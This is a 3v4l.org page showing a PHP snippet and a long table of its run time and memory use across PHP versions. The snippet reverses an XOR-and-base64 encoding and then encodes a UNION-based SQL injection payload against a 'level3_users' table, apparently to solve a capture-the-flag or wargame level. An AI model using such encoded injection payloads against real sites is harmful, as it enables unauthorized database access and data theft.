3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT version(),2,3,4,5,6,7 FROM level3_users WHERE username='Admin'#"); print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0090.00618.43
8.3.50.0080.01022.11
8.3.40.0150.00618.95
8.3.30.0110.00319.11
8.3.20.0030.00519.02
8.3.10.0040.00421.23
8.3.00.0050.00323.70
8.2.180.0140.00716.63
8.2.170.0110.01122.96
8.2.160.0080.00520.39
8.2.150.0040.00424.18
8.2.140.0040.00424.66
8.2.130.0080.00026.16
8.2.120.0050.00319.38
8.2.110.0090.00020.80
8.2.100.0040.00817.91
8.2.90.0040.00419.26
8.2.80.0000.00817.97
8.2.70.0040.00417.72
8.2.60.0000.00818.05
8.2.50.0000.00818.07
8.2.40.0040.00418.28
8.2.30.0000.00819.84
8.2.20.0000.00817.91
8.2.10.0000.00717.98
8.2.00.0030.00617.93
8.1.280.0120.00325.92
8.1.270.0060.00323.99
8.1.260.0060.00826.35
8.1.250.0050.00328.09
8.1.240.0060.00321.25
8.1.230.0110.00017.57
8.1.220.0050.00317.91
8.1.210.0000.00918.77
8.1.200.0000.00917.60
8.1.190.0080.00017.48
8.1.180.0000.00818.10
8.1.170.0040.00418.70
8.1.160.0040.00418.89
8.1.150.0040.00418.83
8.1.140.0040.00417.60
8.1.130.0030.00317.91
8.1.120.0000.00717.58
8.1.110.0040.00417.68
8.1.100.0040.00417.54
8.1.90.0060.00317.62
8.1.80.0030.00517.53
8.1.70.0040.00417.61
8.1.60.0000.00817.74
8.1.50.0030.00517.68
8.1.40.0000.00717.67
8.1.30.0060.00317.73
8.1.20.0030.00617.77
8.1.10.0030.00517.71
8.1.00.0110.00017.66
8.0.300.0000.00818.77
8.0.290.0080.00017.00
8.0.280.0050.00318.51
8.0.270.0000.00817.23
8.0.260.0000.00717.05
8.0.250.0000.00817.03
8.0.240.0050.00517.12
8.0.230.0070.00017.15
8.0.220.0000.00717.02
8.0.210.0000.00717.08
8.0.200.0030.00317.21
8.0.190.0030.00617.15
8.0.180.0000.00816.99
8.0.170.0060.00317.14
8.0.160.0030.00517.04
8.0.150.0000.01017.02
8.0.140.0000.00716.93
8.0.130.0060.00013.47
8.0.120.0030.00517.07
8.0.110.0080.00017.07
8.0.100.0000.00716.96
8.0.90.0000.00816.96
8.0.80.0110.00417.00
8.0.70.0040.00416.86
8.0.60.0040.00417.04
8.0.50.0040.00417.04
8.0.30.0100.01017.14
8.0.20.0070.01217.40
8.0.10.0080.00017.15
8.0.00.0090.01416.93
7.4.330.0050.00015.05
7.4.320.0000.00716.90
7.4.300.0040.00416.90
7.4.290.0070.00016.74
7.4.280.0060.00816.75
7.4.270.0000.00816.83
7.4.260.0000.00513.56
7.4.250.0000.00816.77
7.4.240.0030.00316.73
7.4.230.0070.00016.84
7.4.220.0070.01316.86
7.4.210.0050.01116.85
7.4.200.0050.00216.64
7.4.190.0040.00416.86
7.4.160.0170.00016.95
7.4.150.0130.01017.40
7.4.140.0070.01317.86
7.4.130.0100.00816.75
7.4.120.0110.01016.63
7.4.110.0060.01216.68
7.4.100.0120.00916.64
7.4.90.0050.01416.77
7.4.80.0110.00719.37
7.4.70.0200.01016.80
7.4.60.0100.00716.71
7.4.50.0000.00616.59
7.4.40.0100.00322.27
7.4.30.0130.00416.64
7.4.00.0070.01215.30
7.3.330.0000.00513.55
7.3.320.0060.00013.55
7.3.310.0000.00816.60
7.3.300.0000.00716.42
7.3.290.0100.01016.50
7.3.280.0070.00916.54
7.3.270.0080.00817.40
7.3.260.0070.01018.24
7.3.250.0090.01116.83
7.3.240.0110.00616.87
7.3.230.0120.00616.63
7.3.210.0120.00616.59
7.3.200.0060.01419.39
7.3.190.0060.01116.63
7.3.180.0080.00816.49
7.3.170.0080.01216.74
7.3.160.0090.00616.50
7.3.120.0100.00815.21
7.3.110.0000.01814.85
7.3.100.0090.00614.83
7.3.90.0090.00315.07
7.3.80.0090.00614.83
7.3.70.0100.00315.24
7.3.60.0040.01115.16
7.3.50.0120.00015.11
7.3.40.0060.00915.09
7.3.30.0060.00615.05
7.3.20.0040.00717.01
7.3.10.0030.01017.07
7.3.00.0060.00916.86
7.2.330.0030.01417.02
7.2.320.0090.00916.87
7.2.310.0000.01816.84
7.2.300.0130.00516.77
7.2.290.0130.00316.91
7.2.250.0120.00615.41
7.2.240.0070.01015.35
7.2.230.0030.01015.15
7.2.220.0030.01515.16
7.2.210.0100.00715.35
7.2.200.0070.00715.44
7.2.190.0060.00615.34
7.2.180.0160.00015.34
7.2.170.0030.00915.32
7.2.00.0000.01319.82
7.1.330.0000.01315.97
7.1.320.0060.00916.04
7.1.310.0030.01216.07
7.1.300.0080.00315.96
7.1.290.0040.01116.12
7.1.280.0030.00715.73
7.1.270.0000.01415.80
7.1.260.0070.01016.12
7.1.200.0040.00815.98
7.1.100.0060.00918.32
7.1.70.0060.00617.34
7.1.60.0130.01019.40
7.1.50.0140.01017.13
7.1.00.0000.06722.38
7.0.200.0030.00616.82
7.0.140.0030.07722.00
7.0.70.0030.08321.80
7.0.60.0070.08321.66
7.0.50.0100.08022.05
7.0.40.0030.09020.18
7.0.30.0100.08320.12
7.0.20.0000.08720.18
7.0.10.0100.07720.02
7.0.00.0000.08719.98
5.6.280.0030.07321.10
5.6.220.0070.04020.48
5.6.210.0000.07320.67
5.6.200.0100.08321.18
5.6.190.0000.06321.04
5.6.180.0070.07721.12
5.6.170.0070.08321.05
5.6.160.0170.03721.18
5.6.150.0100.06721.05
5.6.140.0070.06020.96
5.6.130.0000.07321.01
5.6.120.0070.08021.05
5.6.110.0100.07321.04
5.6.100.0070.07321.04
5.6.90.0000.08321.05
5.6.80.0030.07720.43
5.6.70.0030.06020.34
5.6.60.0100.07320.30
5.6.50.0000.08320.44
5.6.40.0070.08320.36
5.6.30.0130.06720.46
5.6.20.0030.04320.45
5.6.10.0070.08020.37
5.6.00.0070.04320.43
5.5.360.0030.07020.56
5.5.350.0000.09020.43
5.5.340.0030.08020.94
5.5.330.0130.07320.73
5.5.320.0130.07720.88
5.5.310.0070.08320.90
5.5.300.0070.04320.88
5.5.290.0030.07320.88
5.5.280.0100.08020.93
5.5.270.0030.04320.77
5.5.260.0130.07720.64
5.5.250.0000.07720.45
5.5.240.0030.08020.17
5.5.230.0030.04720.25
5.5.220.0000.04320.29
5.5.210.0030.05320.03
5.5.200.0030.07720.16
5.5.190.0130.07320.29
5.5.180.0130.06720.21
5.5.160.0000.05020.20
5.5.150.0070.04020.11
5.5.140.0070.08020.11
5.5.130.0130.06320.11
5.5.120.0030.07320.17
5.5.110.0030.07720.21
5.5.100.0000.08019.96
5.5.90.0130.08020.12
5.5.80.0030.06720.12
5.5.70.0170.06719.90
5.5.60.0000.07320.15
5.5.50.0000.08020.08
5.5.40.0100.05720.14
5.5.30.0070.07720.04
5.5.20.0070.08319.98
5.5.10.0070.08320.07
5.5.00.0100.08020.05
5.4.450.0070.08319.46
5.4.440.0000.07319.19
5.4.430.0030.08019.46
5.4.420.0000.08719.27
5.4.410.0070.07719.10
5.4.400.0000.08319.10
5.4.390.0030.05319.14
5.4.380.0000.06719.21
5.4.370.0030.05019.13
5.4.360.0000.08018.92
5.4.350.0030.07719.08
5.4.340.0030.04719.03
5.4.320.0070.04718.91
5.4.310.0030.06019.12
5.4.300.0130.05319.13
5.4.290.0070.07319.12
5.4.280.0000.07319.09
5.4.270.0070.06319.04
5.4.260.0000.06018.89
5.4.250.0070.05318.87
5.4.240.0030.08019.20
5.4.230.0030.06718.87
5.4.220.0130.07319.02
5.4.210.0030.05319.15
5.4.200.0070.07718.84
5.4.190.0000.04719.12
5.4.180.0030.06019.19
5.4.170.0000.08018.87
5.4.160.0000.08318.88
5.4.150.0030.06719.01
5.4.140.0100.06016.25
5.4.130.0030.03316.38
5.4.120.0030.03316.48
5.4.110.0030.03316.56
5.4.100.0000.03716.40
5.4.90.0070.03016.38
5.4.80.0030.03316.50
5.4.70.0030.03316.40
5.4.60.0070.03016.30
5.4.50.0030.03716.36
5.4.40.0000.04016.50
5.4.30.0000.03716.47
5.4.20.0000.03316.26
5.4.10.0070.03016.50
5.4.00.0000.03015.81
5.3.290.0000.05714.60
5.3.280.0100.07314.59
5.3.270.0070.07314.54
5.3.260.0000.07714.62
5.3.250.0030.06014.64
5.3.240.0000.03714.73
5.3.230.0000.04014.53
5.3.220.0070.03314.67
5.3.210.0000.06714.51
5.3.200.0000.04014.70
5.3.190.0000.03714.63
5.3.180.0030.03314.68
5.3.170.0000.03714.59
5.3.160.0000.07314.59
5.3.150.0000.05714.52
5.3.140.0030.03314.59
5.3.130.0000.03714.50
5.3.120.0000.03714.66
5.3.110.0000.04014.63
5.3.100.0030.03014.02
5.3.90.0000.03714.01
5.3.80.0030.03714.16
5.3.70.0000.03014.04
5.3.60.0000.04014.01
5.3.50.0000.03013.94
5.3.40.0030.02713.86
5.3.30.0000.03714.05
5.3.20.0000.04013.79
5.3.10.0030.05313.57
5.3.00.0070.02313.73
5.2.170.0000.02312.21
5.2.160.0030.02012.21
5.2.150.0030.06012.21
5.2.140.0030.06012.21
5.2.130.0070.02012.21
5.2.120.0000.03312.21
5.2.110.0000.03312.21
5.2.100.0000.02712.21
5.2.90.0030.02312.21
5.2.80.0030.02712.21
5.2.70.0000.02312.21
5.2.60.0000.03312.21
5.2.50.0000.03712.21
5.2.40.0000.04712.21
5.2.30.0000.03012.21
5.2.20.0000.02712.21
5.2.10.0000.02712.21
5.2.00.0000.03312.21
5.1.60.0030.02712.21
5.1.50.0000.02012.21
5.1.40.0000.02312.21
5.1.30.0030.03712.21
5.1.20.0000.02712.21
5.1.10.0030.02012.21
5.1.00.0000.02312.21
5.0.50.0070.04012.21
5.0.40.0000.02012.21
5.0.30.0000.03012.21
5.0.20.0030.03312.21
5.0.10.0000.01712.21
5.0.00.0030.02312.21
4.4.90.0030.01012.21
4.4.80.0000.02012.21
4.4.70.0000.01712.21
4.4.60.0000.01712.21
4.4.50.0030.01012.21
4.4.40.0000.02312.21
4.4.30.0000.01312.21
4.4.20.0030.01012.21
4.4.10.0000.02012.21
4.4.00.0000.02012.21
4.3.110.0070.01012.21
4.3.100.0000.02012.21
4.3.90.0000.02312.21
4.3.80.0000.02012.21
4.3.70.0000.01712.21
4.3.60.0000.01312.21
4.3.50.0030.02012.21
4.3.40.0030.02312.21
4.3.30.0000.02712.21
4.3.20.0000.02712.21
4.3.10.0030.01012.21
4.3.00.0000.01712.21

preferences:
48.41 ms | 401 KiB | 5 Q